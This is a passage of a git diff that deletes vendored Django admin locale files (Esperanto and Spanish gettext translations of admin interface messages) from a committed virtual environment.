“{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Elementoj devas esti elektitaj por agi je ili. Neniu elemento estis ŝanĝita." - -msgid "No action selected." -msgstr "Neniu ago elektita." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "La %(name)s “%(obj)s” estis sukcese forigita(j)." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Aldoni %sn" - -#, python-format -msgid "Change %s" -msgstr "Ŝanĝi %s" - -#, python-format -msgid "View %s" -msgstr "Vidi %sn" - -msgid "Database error" -msgstr "Datumbaza eraro" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s estis sukcese ŝanĝita." -msgstr[1] "%(count)s %(name)s estis sukcese ŝanĝitaj." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s elektitaj" -msgstr[1] "Ĉiuj %(total_count)s elektitaj" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 el %(cnt)s elektita" - -#, python-format -msgid "Change history: %s" -msgstr "Ŝanĝa historio: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Forigi la %(class_name)s-n “%(instance)s” postulus forigi la sekvajn " -"protektitajn rilatajn objektojn: %(related_objects)s" - -msgid "Django site admin" -msgstr "Dĵanga reteja administrado" - -msgid "Django administration" -msgstr "Dĵanga administrado" - -msgid "Site administration" -msgstr "Reteja administrado" - -msgid "Log in" -msgstr "Ensaluti" - -#, python-format -msgid "%(app)s administration" -msgstr "Administrado de %(app)s" - -msgid "Page not found" -msgstr "Paĝo ne trovita" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Bedaŭrinde la petita paĝo ne estis trovita." - -msgid "Home" -msgstr "Ĉefpaĝo" - -msgid "Server error" -msgstr "Servila eraro" - -msgid "Server error (500)" -msgstr "Servila eraro (500)" - -msgid "Server Error (500)" -msgstr "Servila eraro (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "Lanĉi la elektitan agon" - -msgid "Go" -msgstr "Ek" - -msgid "Click here to select the objects across all pages" -msgstr "Klaku ĉi-tie por elekti la objektojn trans ĉiuj paĝoj" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Elekti ĉiuj %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Viŝi elekton" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modeloj en la aplikaĵo “%(name)s”" - -msgid "Add" -msgstr "Aldoni" - -msgid "View" -msgstr "Vidi" - -msgid "You don’t have permission to view or edit anything." -msgstr "" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "Enigu salutnomon kaj pasvorton." - -msgid "Change password" -msgstr "Ŝanĝi pasvorton" - -msgid "Please correct the error below." -msgstr "Bonvolu ĝustigi la eraron sube." - -msgid "Please correct the errors below." -msgstr "Bonvolu ĝustigi la erarojn sube." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Enigu novan pasvorton por la uzanto %(username)s." - -msgid "Welcome," -msgstr "Bonvenon," - -msgid "View site" -msgstr "Vidi retejon" - -msgid "Documentation" -msgstr "Dokumentaro" - -msgid "Log out" -msgstr "Elsaluti" - -#, python-format -msgid "Add %(name)s" -msgstr "Aldoni %(name)sn" - -msgid "History" -msgstr "Historio" - -msgid "View on site" -msgstr "Vidi sur retejo" - -msgid "Filter" -msgstr "Filtri" - -msgid "Clear all filters" -msgstr "" - -msgid "Remove from sorting" -msgstr "Forigi el ordigado" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Ordiga prioritato: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Ŝalti ordigadon" - -msgid "Delete" -msgstr "Forigi" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Foriganti la %(object_name)s '%(escaped_object)s' rezultus en foriganti " -"rilatajn objektojn, sed via konto ne havas permeson por forigi la sekvantajn " -"tipojn de objektoj:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Forigi la %(object_name)s '%(escaped_object)s' postulus forigi la sekvajn " -"protektitajn rilatajn objektojn:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Ĉu vi certas, ke vi volas forigi %(object_name)s \"%(escaped_object)s\"? " -"Ĉiuj el la sekvaj rilataj eroj estos forigitaj:" - -msgid "Objects" -msgstr "Objektoj" - -msgid "Yes, I’m sure" -msgstr "Jes, mi certas" - -msgid "No, take me back" -msgstr "Ne, reen" - -msgid "Delete multiple objects" -msgstr "Forigi plurajn objektojn" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Forigi la %(objects_name)s rezultus en forigi rilatajn objektojn, sed via " -"konto ne havas permeson por forigi la sekvajn tipojn de objektoj:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Forigi la %(objects_name)s postulus forigi la sekvajn protektitajn rilatajn " -"objektojn:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Ĉu vi certas, ke vi volas forigi la elektitajn %(objects_name)s? Ĉiuj el la " -"sekvaj objektoj kaj iliaj rilataj eroj estos forigita:" - -msgid "Delete?" -msgstr "Forviŝi?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Laŭ %(filter_title)s " - -msgid "Summary" -msgstr "Resumo" - -msgid "Recent actions" -msgstr "Lastaj agoj" - -msgid "My actions" -msgstr "Miaj agoj" - -msgid "None available" -msgstr "Neniu disponebla" - -msgid "Unknown content" -msgstr "Nekonata enhavo" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Vi estas aŭtentikigita kiel %(username)s, sed ne havas permeson aliri tiun " -"paĝon. Ĉu vi ŝatus ensaluti per alia konto?" - -msgid "Forgotten your password or username?" -msgstr "Ĉu vi forgesis vian pasvorton aŭ vian salutnomon?" - -msgid "Toggle navigation" -msgstr "Ŝalti navigadon" - -msgid "Start typing to filter…" -msgstr "" - -msgid "Filter navigation items" -msgstr "" - -msgid "Date/time" -msgstr "Dato/horo" - -msgid "User" -msgstr "Uzanto" - -msgid "Action" -msgstr "Ago" - -msgid "entry" -msgstr "" - -msgid "entries" -msgstr "" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Ĉi tiu objekto ne havas historion de ŝanĝoj. Ĝi verŝajne ne estis aldonita " -"per ĉi tiu administrejo." - -msgid "Show all" -msgstr "Montri ĉion" - -msgid "Save" -msgstr "Konservi" - -msgid "Popup closing…" -msgstr "Ŝprucfenesto fermiĝas…" - -msgid "Search" -msgstr "Serĉu" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resulto" -msgstr[1] "%(counter)s rezultoj" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s entute" - -msgid "Save as new" -msgstr "Konservi kiel novan" - -msgid "Save and add another" -msgstr "Konservi kaj aldoni alian" - -msgid "Save and continue editing" -msgstr "Konservi kaj daŭre redakti" - -msgid "Save and view" -msgstr "Konservi kaj vidi" - -msgid "Close" -msgstr "Fermi" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Redaktu elektitan %(model)sn" - -#, python-format -msgid "Add another %(model)s" -msgstr "Aldoni alian %(model)sn" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Forigi elektitan %(model)sn" - -#, python-format -msgid "View selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" - -msgid "Log in again" -msgstr "Ensaluti denove" - -msgid "Password change" -msgstr "Pasvorta ŝanĝo" - -msgid "Your password was changed." -msgstr "Via pasvorto estis sukcese ŝanĝita." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Bonvolu entajpi vian malnovan pasvorton pro sekureco, kaj entajpi vian novan " -"pasvorton dufoje, por ke ni estu certaj, ke vi tajpis ĝin ĝuste." - -msgid "Change my password" -msgstr "Ŝanĝi mian passvorton" - -msgid "Password reset" -msgstr "Pasvorta rekomencigo" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Via pasvorto estis ŝanĝita. Vi povas ensaluti nun." - -msgid "Password reset confirmation" -msgstr "Konfirmo de restarigo de pasvorto" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Bonvolu entajpi vian novan pasvorton dufoje, tiel ni povas konfirmi ke vi " -"ĝuste tajpis ĝin." - -msgid "New password:" -msgstr "Nova pasvorto:" - -msgid "Confirm password:" -msgstr "Konfirmi pasvorton:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"La ligilo por restarigi pasvorton estis malvalida, eble ĉar ĝi jam estis " -"uzita. Bonvolu denove peti restarigon de pasvorto." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Ni sendis al vi instrukciojn por starigi vian pasvorton, se ekzistas konto " -"kun la retadreso, kiun vi provizis. Vi devus ricevi ilin post mallonge." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Se vi ne ricevas retmesaĝon, bonvole certiĝu ke vi entajpis la adreson per " -"kiu vi registriĝis, kaj kontrolu en via spamujo." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Vi ricevis ĉi tiun retpoŝton ĉar vi petis pasvortan rekomencigon por via " -"uzanta konto ĉe %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Bonvolu iri al la sekvanta paĝo kaj elekti novan pasvorton:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Via uzantnomo, se vi forgesis ĝin:" - -msgid "Thanks for using our site!" -msgstr "Dankon pro uzo de nia retejo!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "La %(site_name)s teamo" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Ĉu vi forgesis vian pasvorton? Entajpu vian retpoŝtadreson sube kaj ni " -"sendos al vi retpoŝte instrukciojn por ŝanĝi ĝin." - -msgid "Email address:" -msgstr "Retpoŝto:" - -msgid "Reset my password" -msgstr "Rekomencigi mian pasvorton" - -msgid "All dates" -msgstr "Ĉiuj datoj" - -#, python-format -msgid "Select %s" -msgstr "Elekti %sn" - -#, python-format -msgid "Select %s to change" -msgstr "Elekti %sn por ŝanĝi" - -#, python-format -msgid "Select %s to view" -msgstr "Elektu %sn por vidi" - -msgid "Date:" -msgstr "Dato:" - -msgid "Time:" -msgstr "Horo:" - -msgid "Lookup" -msgstr "Trarigardo" - -msgid "Currently:" -msgstr "Nuntempe:" - -msgid "Change:" -msgstr "Ŝanĝo:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eo/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/eo/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 6e86ac2d..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eo/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eo/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/eo/LC_MESSAGES/djangojs.po deleted file mode 100644 index db999138..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eo/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,268 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Batist D 🐍 , 2012 -# Batist D 🐍 , 2014-2016 -# 977db45bb2d7151f88325d4fbeca189e_848074d <3d1ba07956d05291bf7c987ecea0a7ef_13052>, 2011 -# Meiyer , 2022 -# Adamo Mesha , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:26-0500\n" -"PO-Revision-Date: 2022-05-25 07:05+0000\n" -"Last-Translator: Meiyer , 2022\n" -"Language-Team: Esperanto (http://www.transifex.com/django/django/language/" -"eo/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: eo\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Disponeblaj %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Tio ĉi estas la listo de disponeblaj %s. Vi povas aktivigi kelkajn markante " -"ilin en la suba kesto kaj klakante la sagon “Elekti” inter la du kestoj." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Tajpu en ĉi-tiu skatolo por filtri la liston de haveblaj %s." - -msgid "Filter" -msgstr "Filtru" - -msgid "Choose all" -msgstr "Elekti ĉiujn" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Klaku por tuj elekti ĉiujn %sn." - -msgid "Choose" -msgstr "Elekti" - -msgid "Remove" -msgstr "Forigi" - -#, javascript-format -msgid "Chosen %s" -msgstr "Elektitaj %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Tio ĉi estas la listo de elektitaj %s. Vi povas malaktivigi kelkajn markante " -"ilin en la suba kesto kaj klakante la sagon “Forigi” inter la du kestoj." - -msgid "Remove all" -msgstr "Forigi ĉiujn" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Klaku por tuj forigi ĉiujn %sn elektitajn." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s de %(cnt)s elektita" -msgstr[1] "%(sel)s el %(cnt)s elektitaj" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Vi havas neŝirmitajn ŝanĝojn je unuopaj redakteblaj kampoj. Se vi faros " -"agon, viaj neŝirmitaj ŝanĝoj perdiĝos." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" - -msgid "Now" -msgstr "Nun" - -msgid "Midnight" -msgstr "Noktomeze" - -msgid "6 a.m." -msgstr "6 a.t.m." - -msgid "Noon" -msgstr "Tagmeze" - -msgid "6 p.m." -msgstr "6 p.t.m." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Noto: Vi estas %s horon post la servila horo." -msgstr[1] "Noto: Vi estas %s horojn post la servila horo." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Noto: Vi estas %s horon antaŭ la servila horo." -msgstr[1] "Noto: Vi estas %s horojn antaŭ la servila horo." - -msgid "Choose a Time" -msgstr "Elektu horon" - -msgid "Choose a time" -msgstr "Elektu tempon" - -msgid "Cancel" -msgstr "Nuligi" - -msgid "Today" -msgstr "Hodiaŭ" - -msgid "Choose a Date" -msgstr "Elektu daton" - -msgid "Yesterday" -msgstr "Hieraŭ" - -msgid "Tomorrow" -msgstr "Morgaŭ" - -msgid "January" -msgstr "januaro" - -msgid "February" -msgstr "februaro" - -msgid "March" -msgstr "marto" - -msgid "April" -msgstr "aprilo" - -msgid "May" -msgstr "majo" - -msgid "June" -msgstr "junio" - -msgid "July" -msgstr "julio" - -msgid "August" -msgstr "aŭgusto" - -msgid "September" -msgstr "septembro" - -msgid "October" -msgstr "oktobro" - -msgid "November" -msgstr "novembro" - -msgid "December" -msgstr "decembro" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "jan." - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "feb." - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "mar." - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "apr." - -msgctxt "abbrev. month May" -msgid "May" -msgstr "maj." - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "jun." - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "jul." - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "aŭg." - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "sep." - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "okt." - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "nov." - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "dec." - -msgctxt "one letter Sunday" -msgid "S" -msgstr "d" - -msgctxt "one letter Monday" -msgid "M" -msgstr "l" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "m" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "m" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "ĵ" - -msgctxt "one letter Friday" -msgid "F" -msgstr "v" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "s" - -msgid "" -"You have already submitted this form. Are you sure you want to submit it " -"again?" -msgstr "Vi jam forsendis tiun ĉi formularon. Ĉu vi certe volas resendi ĝin?" - -msgid "Show" -msgstr "Montri" - -msgid "Hide" -msgstr "Kaŝi" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es/LC_MESSAGES/django.mo deleted file mode 100644 index 415014e1..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es/LC_MESSAGES/django.po deleted file mode 100644 index 76348412..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es/LC_MESSAGES/django.po +++ /dev/null @@ -1,818 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# abraham.martin , 2014 -# Antoni Aloy , 2011-2014 -# Claude Paroz , 2014 -# e4db27214f7e7544f2022c647b585925_bb0e321, 2015-2016 -# 8cb2d5a716c3c9a99b6d20472609a4d5_6d03802 , 2011 -# guillem , 2012 -# Ignacio José Lizarán Rus , 2019 -# Igor Támara , 2013 -# Jannis Leidel , 2011 -# Jorge Andres Bravo Meza, 2024 -# Jorge Puente Sarrín , 2014-2015 -# José Luis , 2016 -# Josue Naaman Nistal Guerra , 2014 -# Luigy, 2019 -# Marc Garcia , 2011 -# Miguel Angel Tribaldos , 2017 -# Miguel Gonzalez , 2023 -# Natalia, 2024 -# Pablo, 2015 -# Salomon Herrera, 2023 -# Uriel Medina , 2020-2024 -# Veronicabh , 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-10-07 07:05+0000\n" -"Last-Translator: Uriel Medina , 2020-2024\n" -"Language-Team: Spanish (http://app.transifex.com/django/django/language/" -"es/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Eliminar %(verbose_name_plural)s seleccionado/s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Eliminado/s %(count)d %(items)s satisfactoriamente." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "No se puede eliminar %(name)s" - -msgid "Are you sure?" -msgstr "¿Está seguro?" - -msgid "Administration" -msgstr "Administración" - -msgid "All" -msgstr "Todo" - -msgid "Yes" -msgstr "Sí" - -msgid "No" -msgstr "No" - -msgid "Unknown" -msgstr "Desconocido" - -msgid "Any date" -msgstr "Cualquier fecha" - -msgid "Today" -msgstr "Hoy" - -msgid "Past 7 days" -msgstr "Últimos 7 días" - -msgid "This month" -msgstr "Este mes" - -msgid "This year" -msgstr "Este año" - -msgid "No date" -msgstr "Sin fecha" - -msgid "Has date" -msgstr "Tiene fecha" - -msgid "Empty" -msgstr "Vacío" - -msgid "Not empty" -msgstr "No vacío" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Por favor introduzca el %(username)s y la clave correctos para una cuenta de " -"personal. Observe que ambos campos pueden ser sensibles a mayúsculas." - -msgid "Action:" -msgstr "Acción:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Agregar %(verbose_name)s adicional." - -msgid "Remove" -msgstr "Eliminar" - -msgid "Addition" -msgstr "Añadido" - -msgid "Change" -msgstr "Modificar" - -msgid "Deletion" -msgstr "Borrado" - -msgid "action time" -msgstr "hora de la acción" - -msgid "user" -msgstr "usuario" - -msgid "content type" -msgstr "tipo de contenido" - -msgid "object id" -msgstr "id del objeto" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "repr del objeto" - -msgid "action flag" -msgstr "marca de acción" - -msgid "change message" -msgstr "mensaje de cambio" - -msgid "log entry" -msgstr "entrada de registro" - -msgid "log entries" -msgstr "entradas de registro" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Agregado “%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Modificado “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Eliminado “%(object)s.”" - -msgid "LogEntry Object" -msgstr "Objeto de registro de Log" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Agregado {name} “{object}”." - -msgid "Added." -msgstr "Añadido." - -msgid "and" -msgstr "y" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Cambios en {fields} para {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Modificado {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Eliminado {name} “{object}”." - -msgid "No fields changed." -msgstr "No ha cambiado ningún campo." - -msgid "None" -msgstr "Ninguno" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Mantenga presionado \"Control\" o \"Comando\" en una Mac, para seleccionar " -"más de uno." - -msgid "Select this object for an action - {}" -msgstr "Seleccione este objeto para una acción - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "El {name} “{obj}” fue agregado correctamente." - -msgid "You may edit it again below." -msgstr "Puede volverlo a editar otra vez a continuación." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"El {name} “{obj}” se agregó correctamente. Puede agregar otro {name} a " -"continuación." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"El {name} “{obj}” se cambió correctamente. Puede editarlo nuevamente a " -"continuación." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"El {name} “{obj}” se cambió correctamente. Puede agregar otro {name} a " -"continuación." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "El {name} “{obj}” se cambió correctamente." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Se deben seleccionar elementos para poder realizar acciones sobre estos. No " -"se han modificado elementos." - -msgid "No action selected." -msgstr "No se seleccionó ninguna acción." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "El%(name)s “%(obj)s” fue eliminado con éxito." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s con el ID “%(key)s” no existe. ¿Quizás fue eliminado?" - -#, python-format -msgid "Add %s" -msgstr "Añadir %s" - -#, python-format -msgid "Change %s" -msgstr "Modificar %s" - -#, python-format -msgid "View %s" -msgstr "Vista %s" - -msgid "Database error" -msgstr "Error en la base de datos" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s fué modificado con éxito." -msgstr[1] "%(count)s %(name)s fueron modificados con éxito." -msgstr[2] "%(count)s %(name)s fueron modificados con éxito." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s seleccionado" -msgstr[1] "%(total_count)s seleccionados en total" -msgstr[2] "%(total_count)s seleccionados en total" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "seleccionados 0 de %(cnt)s" - -#, python-format -msgid "Change history: %s" -msgstr "Histórico de modificaciones: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"La eliminación de %(class_name)s %(instance)s requeriría eliminar los " -"siguientes objetos relacionados protegidos: %(related_objects)s" - -msgid "Django site admin" -msgstr "Sitio de administración de Django" - -msgid "Django administration" -msgstr "Administración de Django" - -msgid "Site administration" -msgstr "Sitio administrativo" - -msgid "Log in" -msgstr "Iniciar sesión" - -#, python-format -msgid "%(app)s administration" -msgstr "Administración de %(app)s " - -msgid "Page not found" -msgstr "Página no encontrada" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Lo sentimos, pero no se pudo encontrar la página solicitada." - -msgid "Home" -msgstr "Inicio" - -msgid "Server error" -msgstr "Error del servidor" - -msgid "Server error (500)" -msgstr "Error del servidor (500)" - -msgid "Server Error (500)" -msgstr "Error de servidor (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Hubo un error. Se ha informado a los administradores del sitio por correo " -"electrónico y debería solucionarse en breve. Gracias por su paciencia." - -msgid "Run the selected action" -msgstr "Ejecutar la acción seleccionada" - -msgid "Go" -msgstr "Ir" - -msgid "Click here to select the objects across all pages" -msgstr "Pulse aquí para seleccionar los objetos a través de todas las páginas" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Seleccionar todos los %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Limpiar selección" - -msgid "Breadcrumbs" -msgstr "Migas de pan" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modelos en la aplicación %(name)s" - -msgid "Add" -msgstr "Añadir" - -msgid "View" -msgstr "Vista" - -msgid "You don’t have permission to view or edit anything." -msgstr "No cuenta con permiso para ver ni editar nada." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Primero, ingrese un nombre de usuario y contraseña. Luego, podrá editar más " -"opciones del usuario." - -msgid "Enter a username and password." -msgstr "Introduzca un nombre de usuario y contraseña" - -msgid "Change password" -msgstr "Cambiar contraseña" - -msgid "Set password" -msgstr "Establecer contraseña" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Por favor, corrija el siguiente error." -msgstr[1] "Por favor, corrija los siguientes errores." -msgstr[2] "Por favor, corrija los siguientes errores." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Introduzca una nueva contraseña para el usuario %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Esta acción habilitará la autenticación basada en " -"contraseña para este usuario." - -msgid "Disable password-based authentication" -msgstr "Deshabilitar la autenticación basada en contraseña" - -msgid "Enable password-based authentication" -msgstr "Habilitar la autenticación basada en contraseña" - -msgid "Skip to main content" -msgstr "Saltar al contenido principal" - -msgid "Welcome," -msgstr "Bienvenidos," - -msgid "View site" -msgstr "Ver el sitio" - -msgid "Documentation" -msgstr "Documentación" - -msgid "Log out" -msgstr "Cerrar sesión" - -#, python-format -msgid "Add %(name)s" -msgstr "Añadir %(name)s" - -msgid "History" -msgstr "Histórico" - -msgid "View on site" -msgstr "Ver en el sitio" - -msgid "Filter" 